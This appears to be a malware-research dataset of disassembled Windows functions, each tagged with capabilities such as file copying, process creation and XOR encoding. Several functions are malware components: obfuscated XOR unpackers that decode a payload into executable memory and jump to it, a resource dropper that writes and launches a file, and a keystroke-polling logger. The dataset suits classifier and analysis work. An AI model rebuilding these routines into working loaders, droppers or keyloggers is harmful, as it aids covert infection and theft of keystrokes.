joyce8/EMBER2024-capa huggingface dataset:
Function at 0x466a68
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xb
push 0
push 0
dec ecx
jne 0x466a70
push ecx
mov byte [ebp - 1], al
xor eax, eax
push ebp
push 0x466c6b
push dword fs:[eax]
mov dword fs:[eax], esp
push ebp
call fcn.004667d0
pop ecx
lea edx, [ebp - 0x1c]
mov eax, 0x2b
call fcn.004654d8
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 8]
mov ecx, 0x466c80
call fcn.004050ac
mov eax, dword [ebp - 8]
call fcn.0040952c
push 0
lea eax, [ebp - 0x20]
mov ecx, 0x466c94
mov edx, dword [ebp - 8]
call fcn.004050ac
mov eax, dword [ebp - 0x20]
call fcn.00405260
push eax
lea eax, [ebp - 0x28]
call fcn.00465ce4
push dword [ebp - 0x28]
push 0x466cac
push 0x466c94
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00405120
mov eax, dword [ebp - 0x24]
call fcn.00405260
push eax
call sub.kernel32.dll_CopyFileA
push 0
lea eax, [ebp - 0x2c]
mov ecx, 0x466cbc
mov edx, dword [ebp - 8]
call fcn.004050ac
mov eax, dword [ebp - 0x2c]
call fcn.00405260
push eax
lea eax, [ebp - 0x34]
call fcn.00465ce4
push dword [ebp - 0x34]
push 0x466cac
push 0x466cbc
lea eax, [ebp - 0x30]
mov edx, 3
call fcn.00405120
mov eax, dword [ebp - 0x30]
call fcn.00405260
push eax
call sub.kernel32.dll_CopyFileA
cmp byte [ebp - 1], 0
je 0x466b83
lea eax, [ebp - 0x3c]
call fcn.00465ce4
push dword [ebp - 0x3c]
push 0x466cac
push 0x466cd4
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.00405120
mov edx, dword [ebp - 0x38]
mov eax, 0x466cec
call fcn.00464bbc
mov byte [ebp - 0x11], al
push 0
mov ecx, 0x466cd4
lea eax, [ebp - 0x40]
mov edx, dword [ebp - 8]
call fcn.004050ac
mov eax, dword [ebp - 0x40]
call fcn.00405260
push eax
lea eax, [ebp - 0x48]
call fcn.00465ce4
push dword [ebp - 0x48]
push 0x466cac
push 0x466cd4
lea eax, [ebp - 0x44]
mov edx, 3
call fcn.00405120
mov eax, dword [ebp - 0x44]
call fcn.00405260
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x50]
mov ecx, 0x466c94
mov edx, dword [ebp - 8]
call fcn.004050ac
mov eax, dword [ebp - 0x50]
lea edx, [ebp - 0x4c]
call fcn.00465b24
mov ecx, 0x466cbc
lea eax, [ebp - 0x58]
mov edx, dword [ebp - 8]
call fcn.004050ac
mov eax, dword [ebp - 0x58]
lea edx, [ebp - 0x54]
call fcn.00465b24
cmp byte [ebp - 1], 0
je 0x466c43
lea edx, [ebp - 0xc]
xor eax, eax
call fcn.00465914
push 1
push 0x466d2c
push dword [ebp - 8]
push 0x466cd4
push 0x466d2c
lea eax, [ebp - 0x5c]
mov edx, 4
call fcn.00405120
mov edx, dword [ebp - 0x5c]
lea ecx, [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.004655d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x466c72
lea eax, [ebp - 0x5c]
mov edx, 0x12
call fcn.00404dc0
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404dc0
ret
Function at 0x467980
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405250
xor eax, eax
push ebp
push 0x467a3c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x20]
call fcn.004650fc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0xb
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea edx, [ebp - 0x1c]
mov ecx, 1
mov eax, 0x467a50
call fcn.0040a314
mov eax, dword [ebp + 8]
mov edx, dword [eax - 4]
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 4]
call fcn.004050ac
push 0
mov eax, dword [ebp - 0xc]
call fcn.00405260
push eax
mov eax, dword [ebp - 8]
call fcn.00405260
push eax
call sub.kernel32.dll_CopyFileA
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 0xc]
call fcn.00465b24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x467a43
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00404dc0
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404dc0
ret

Function at 0x46896c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
xor ecx, ecx
mov dword [ebp - 0x128], ecx
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], ecx
mov dword [ebp - 8], edx
mov byte [ebp - 1], al
xor eax, eax
push ebp
push 0x468aa7
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x468a82
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0x105
lea eax, [ebp - 0x119]
push eax
lea eax, [ebp - 0x120]
mov dl, byte [ebp - 1]
call fcn.00404f84
lea eax, [ebp - 0x120]
mov edx, 0x468abc
call main
mov eax, dword [ebp - 0x120]
call fcn.00405260
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x468a1f
lea eax, [ebp - 0x119]
call fcn.00409c10
mov ecx, eax
lea edx, [ebp - 0x119]
mov eax, dword [ebp - 8]
call fcn.00404e8c
jmp 0x468a27
mov eax, dword [ebp - 8]
call fcn.00404d9c
cmp byte [ebp - 1], 0x61
jae 0x468a4d
lea edx, [ebp - 0x124]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.0040dbb4
mov edx, dword [ebp - 0x124]
mov eax, dword [ebp - 8]
call fcn.00404df0
jmp 0x468a6b
lea edx, [ebp - 0x128]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
call fcn.0040db20
mov edx, dword [ebp - 0x128]
mov eax, dword [ebp - 8]
call fcn.00404df0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x468a89
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_SetErrorMode
ret
Function at 0x468ac0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
xor edx, edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 8], edx
mov byte [ebp - 1], al
xor eax, eax
push ebp
push 0x468b6a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov al, byte [ebp - 1]
mov byte [ebp - 0x18], al
mov byte [ebp - 0x14], 2
lea edx, [ebp - 0x18]
xor ecx, ecx
mov eax, 0x468b80
call fcn.0040a314
mov eax, dword [ebp - 8]
call fcn.00405260
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 5
sete byte [ebp - 2]
cmp byte [ebp - 2], 0
je 0x468b4c
mov eax, dword [ebp + 8]
push eax
lea edx, [ebp - 0x1c]
mov al, byte [ebp - 1]
call fcn.0046896c
pop ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x468b44
mov eax, dword [ebp - 0x10]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
setg byte [ebp - 2]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x468b71
lea eax, [ebp - 0x1c]
call fcn.00404d9c
lea eax, [ebp - 8]
call fcn.00404d9c
ret
Function at 0x401180
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call sub.WINSPOOL.DRV_UploadPrinterDriverPackageW
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_LoadStringW]
xor eax, eax
pop ebp
ret

Function at 0x4019a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x406040]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x58], 0x44
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x406098
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ff8
mov esp, ebp
pop ebp
ret
Function at 0x401b70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
call fcn.00401230
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 8], eax
push str.Handle_to_current_module_obtained._n
call fcn.00401ca0
add esp, 4
call fcn.00401180
push 0x100
push 0x65
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 4], eax
call fcn.00401230
cmp dword [ebp - 4], 0
je 0x401bc4
push str.Resource_located._n
call fcn.00401ca0
add esp, 4
call fcn.00401230
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401bed
push str.Resource_loaded._n
call fcn.00401ca0
add esp, 4
call fcn.00401180
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xc], eax
call fcn.00401230
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
call fcn.00401180
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00401060
add esp, 8
mov dword [ebp - 0xc], eax
call fcn.00401a10
push 0x406098
push str.File_name_set_for_magic:__s_n
call fcn.00401ca0
add esp, 8
call fcn.00401230
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.00401110
add esp, 8
call fcn.00401180
push str.File_magiced_to_disk._n
call fcn.00401ca0
add esp, 4
call fcn.00401230
call fcn.004019a0
call fcn.00401180
push str.Process_launched._n
call fcn.00401ca0
add esp, 4
call fcn.00401180
push str.Dead_code_executed._n
call fcn.00401ca0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x402560
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40259f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40259f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40259f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40259f
cmp dword [ecx + 0x74], 0xe
jbe 0x40259f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10031690
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x1003169f
pop dword [ebp - 0x2c]
mov eax, 0x1003169f
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x16b6ee43
add dword [ebp - 0x3c], 0x379b5708
mov dword [ebp - 0x38], 0xa27254b6
add dword [ebp - 0x38], 0x8fc0f78f
mov dword [ebp - 0x34], 0xf9a13d2d
add dword [ebp - 0x34], 0x52ab0701
mov dword [ebp - 0x30], 0x95a1d02e
sub dword [ebp - 0x30], 0x95a1d02e
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x6fa00833
sub dword [ebp - 0x3c], 0xfb2d9edd
mov dword [ebp - 0x38], 0x8bb585be
sub dword [ebp - 0x38], 0x4a492449
mov dword [ebp - 0x34], 0x2e26af38
add dword [ebp - 0x34], 0x3548bd34
mov dword [ebp - 0x30], 0x10a22d60
add dword [ebp - 0x30], 0xef5dd2a0
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x1218010
sub eax, 0xf11d9f8c
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3fddd
push 0
call eax
mov ecx, 0x4e35
mov edx, eax
mov esi, 0x10071200
add esi, dword [ebp - 0x2c]
mov ebx, 0xf308ce8e
sub ebx, 0x1588f704
add dword [ebp - 0x10], ebx
mov edi, dword [esi]
add dword [ebp - 0x18], ebx
xor edi, ebx
mov dword [edx], edi
add edx, 4
add esi, 0x7d265041
sub esi, 0x7d26503d
loop 0x100317ab
add eax, 0x12ba7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xb123b0c6
add ecx, 0x5edc4f3a
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x40daa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x25a]
push ecx
mov word [ebp - 0x25c], ax
call fcn.0041be30
call fcn.0041f0ff
push eax
call fcn.0041c3c0
mov esi, dword [ebp + 8]
add esp, 0x10
mov dword [esi + 0x112dc], eax
call fcn.0041d55b
mov eax, dword [eax + 3]
test eax, eax
je 0x40de6b
cmp eax, 0x88888888
je 0x40de6b
push edi
push 0x3f
push esi
mov dword [esi + 0x7d8], eax
lea edi, [esi + 0xc94]
call fcn.00414d90
mov edx, dword [esi + 0xca4]
push eax
push 0
push 0
push edx
push edi
call fcn.00414e50
push 0x40
push esi
mov dword [esi + 0xcb0], eax
call fcn.00414d90
push eax
mov eax, dword [esi + 0xca4]
push 0
push 0
push eax
push edi
call fcn.00414e50
push 0x44
push esi
mov dword [esi + 0xcb4], eax
call fcn.00414d90
mov ecx, dword [esi + 0xca4]
add esp, 0x40
push eax
push 0
push 0
push ecx
push edi
call fcn.00414e50
add esp, 0x14
cmp dword [esi + 0xcb0], 0
mov dword [esi + 0xcbc], eax
je 0x40de6a
cmp dword [esi + 0xcb4], 0
je 0x40de6a
test eax, eax
je 0x40de6a
push ebx
push 0xc
lea edx, [ebp - 0x10]
push edx
lea eax, [esi + 0x12064]
push eax
mov dword [ebp - 0x10], 0x45005b
mov dword [ebp - 0xc], 0x630073
mov dword [ebp - 8], 0x5d
call fcn.0041bdb0
push 0xc
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [esi + 0x1207c]
push edx
mov dword [ebp - 0x1c], 0x41005b
mov dword [ebp - 0x18], 0x74006c
mov dword [ebp - 0x14], 0x5d
call fcn.0041bdb0
push 0xc
lea eax, [ebp - 0x28]
push eax
lea ecx, [esi + 0x12094]
push ecx
mov dword [ebp - 0x28], 0x54005b
mov dword [ebp - 0x24], 0x620061
mov dword [ebp - 0x20], 0x5d
call fcn.0041bdb0
push 0x10
lea ecx, [ebp - 0x48]
push ecx
lea edx, [esi + 0x120ac]
push edx
mov dword [ebp - 0x48], 0x45005b
mov dword [ebp - 0x44], 0x74006e
mov dword [ebp - 0x40], 0x720065
mov dword [ebp - 0x3c], 0x5d
call fcn.0041bdb0
push 0x10
lea edx, [ebp - 0x38]
push edx
lea eax, [esi + 0x120c4]
push eax
mov dword [ebp - 0x38], 0x3c005b
mov dword [ebp - 0x34], 0x44002d
mov dword [ebp - 0x30], 0x6c0065
mov dword [ebp - 0x2c], 0x5d
call fcn.0041bdb0
push 0x10
lea ecx, [ebp - 0x25c]
push ecx
push esi
call fcn.0040b2b0
add esp, 0x48
push 1
lea eax, [ebp - 0x25c]
push eax
lea ebx, [esi + 0x11464]
xor edx, edx
push ebx
push esi
mov word [ebp - 0x24c], dx
call fcn.0040b420
push ebx
call fcn.0041c0a0
add esp, 0x14
cmp eax, 0xc
jb 0x40de69
push 0x3b
push esi
call fcn.00414d90
mov ecx, dword [esi + 0xca4]
push eax
push 0
push 0
push ecx
push edi
call fcn.00414e50
push 0x3c
push esi
mov ebx, eax
call fcn.00414d90
mov edx, dword [esi + 0xca4]
push eax
push 0
push 0
push edx
push edi
call fcn.00414e50
push 0x3d
push esi
mov dword [ebp + 8], eax
call fcn.00414d90
add esp, 0x40
push eax
mov eax, dword [esi + 0xca4]
push 0
push 0
push eax
push edi
call fcn.00414e50
push 0x3e
push esi
mov dword [ebp - 4], eax
call fcn.00414d90
mov ecx, dword [esi + 0xca4]
push eax
push 0
push 0
push ecx
push edi
call fcn.00414e50
push 0x41
push esi
mov dword [ebp - 0x50], eax
call fcn.00414d90
mov edx, dword [esi + 0xca4]
push eax
push 0
push 0
push edx
push edi
jmp loc.0042fc0a
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000cdef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100024d0]
jne 0x1000d4b4
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x10011e48], eax
mov dword [0x10011e44], ecx
mov dword [0x10011e40], edx
mov dword [0x10011e3c], ebx
mov dword [0x10011e38], esi
mov dword [0x10011e34], edi
mov word [0x10011e60], ss
mov word [0x10011e54], cs
mov word [0x10011e30], ds
mov word [0x10011e2c], es
mov word [0x10011e28], fs
mov word [0x10011e24], gs
pushfd
pop dword [0x10011e58]
mov eax, dword [ebp]
mov dword [0x10011e4c], eax
mov eax, dword [ebp + 4]
mov dword [0x10011e50], eax
lea eax, [ebp + 8]
mov dword [0x10011e5c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x10011d98], 0x10001
mov eax, dword [0x10011e50]
mov dword [0x10011d4c], eax
mov dword [0x10011d40], 0xc0000409
mov dword [0x10011d44], 1
mov eax, dword [0x100024d0]
mov dword [ebp - 0x328], eax
mov eax, dword [0x10011c40]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x10011d90], eax
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x100024e0
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x10011d90], 0
jne 0x1000d5a0
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x1000ce55
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000ce64
pop dword [ebp - 0xc]
mov eax, 0x2d283071
add eax, 0xe2d89df3
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xf1a99ef3
add dword [ebp - 0x1c], 0x5ca8a658
mov dword [ebp - 0x18], 0xaf3a4864
add dword [ebp - 0x18], 0x82f903e1
mov dword [ebp - 0x14], 0x66b8f792
add dword [ebp - 0x14], 0xe5934c9c
mov dword [ebp - 0x10], 0xe500f791
add dword [ebp - 0x10], 0x1aff086f
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xa4e20c4e
add eax, 0x6b1e040a
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x4c7092e3
add dword [ebp - 0x1c], 0x2801d673
mov dword [ebp - 0x18], 0x2984c9dc
sub dword [ebp - 0x18], 0xe8186867
mov dword [ebp - 0x14], 0xbd576fa1
add dword [ebp - 0x14], 0xa617fccb
mov dword [ebp - 0x10], 0xbb608e81
add dword [ebp - 0x10], 0x449f717f
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x8a7e7fb8
sub eax, 0x7a7e6fb0
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x372bf
push 0
call eax
mov ecx, 0x85231817
sub ecx, 0x8522d644
mov edx, eax
mov edi, 0x6ef90582
sub edi, 0x5ef6e382
add edi, dword [ebp - 0xc]
mov esi, 0xb5fc8842
xor dword [ebp - 8], 0xe12328da
mov ebx, dword [edi]
mov dword [ebp - 8], 0xcd5db228
add ebx, esi
add dword [ebp - 8], edx
mov dword [edx], ebx
mov dword [ebp - 8], 0x2083c710
add edx, 4
add edi, 0x412d76d0
sub edi, 0x412d76cc
loop 0x1000cf80
add eax, 0xfa1f
xor ebx, ebx
add ebx, eax
add eax, 0xdfa249bf
add eax, 0x205db646
mov ecx, 0x39e80507
add ecx, 0xd617faf9
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401070
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x459030]
jne 0x40107a
repz ret
jmp fcn.00401b61

Function at 0x4086bb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040255c
and dword [ebp - 4], 0
cmp dword [0x45b7b4], 0
mov ebx, eax
jne 0x40876c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40881d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40881d
push eax
call fcn.004024ea
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x45b7b4], eax
call esi
push eax
call fcn.004024ea
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x45b7b8], eax
call esi
push eax
call fcn.004024ea
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45b7bc], eax
call esi
push eax
call fcn.004024ea
pop ecx
mov dword [0x45b7c4], eax
test eax, eax
je 0x40876c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004024ea
pop ecx
mov dword [0x45b7c0], eax
mov eax, dword [0x45b7c0]
cmp eax, ebx
je 0x4087c4
cmp dword [0x45b7c4], ebx
je 0x4087c4
push eax
call fcn.00402565
push dword [0x45b7c4]
mov esi, eax
call fcn.00402565
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4087c4
test edi, edi
je 0x4087c4
call esi
test eax, eax
je 0x4087bb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4087bb
test byte [ebp - 0xc], 1
jne 0x4087c4
or dword [ebp + 0x10], 0x200000
jmp 0x4087fd
mov eax, dword [0x45b7b8]
cmp eax, ebx
je 0x4087fd
push eax
call fcn.00402565
pop ecx
test eax, eax
je 0x4087fd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4087fd
mov eax, dword [0x45b7bc]
cmp eax, ebx
je 0x4087fd
push eax
call fcn.00402565
pop ecx
test eax, eax
je 0x4087fd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45b7b4]
call fcn.00402565
pop ecx
test eax, eax
je 0x40881d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40881f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006240
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x10], 0x102
push edi
mov edi, dword [ebp + 0x24]
mov dword [edi], 1
je 0x100062eb
push ebx
mov ebx, dword [sym.imp.user32.dll_GetKeyState]
push esi
mov esi, dword [ebp + 0x14]
push 0x10
mov dword [ebp + 0x24], esi
call ebx
test ax, ax
jns 0x1000627a
or esi, 0x10000
mov dword [ebp + 0x24], esi
push 0x11
call ebx
test ax, ax
jns 0x1000628c
or esi, 0x20000
mov dword [ebp + 0x24], esi
push 0x12
call ebx
test ax, ax
jns 0x1000629e
or esi, 0x40000
mov dword [ebp + 0x24], esi
mov eax, dword [0x100808f0]
test al, 1
jne 0x100062c6
or eax, 1
push 0x100808c4
mov dword [0x100808f0], eax
call fcn.10007d70
push 0x100620a0
call fcn.10007d70
add esp, 8
mov esi, dword [0x100808c8]
lea eax, [ebp + 0x24]
push eax
lea eax, [ebp + 0x10]
push eax
mov ecx, 0x100808c4
call fcn.10007d70
cmp dword [ebp + 0x10], esi
pop esi
pop ebx
je 0x100062eb
mov dword [edi], 0
xor eax, eax
pop edi
pop ebp
ret 0x20

Function at 0x10007d70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x10007d7f
pop dword [ebp - 0x44]
mov eax, 0xb09d8043
add eax, 0x5f62fd3c
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x520fd
push 0
mov eax, 0x3f3eaaa2
sub eax, 0x2f38793e
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x43f4
xor edx, edx
add edx, eax
mov esi, 0x100b4200
add esi, dword [ebp - 0x44]
mov ebx, 0x3b622a04
sub ebx, 0xb9b56670
add dword [ebp - 0x20], 0xadd573e1
mov edi, dword [esi]
xor dword [ebp - 0x10], edx
xor edi, ebx
xor dword [ebp - 4], 0xd7a5d488
mov dword [edx], edi
sub dword [ebp - 0x38], 0xcedd25a3
add edx, 0xaa3c82fe
sub edx, 0xaa3c82fa
add esi, 0x77dab1f1
add esi, 0x88254e13
loop 0x10007dd4
add eax, 0x102a3
mov ebx, eax
add eax, 5
mov ecx, 0x50588bf
add ecx, 0xafa7741
add ecx, dword [ebp - 0x44]
call ebx
leave
ret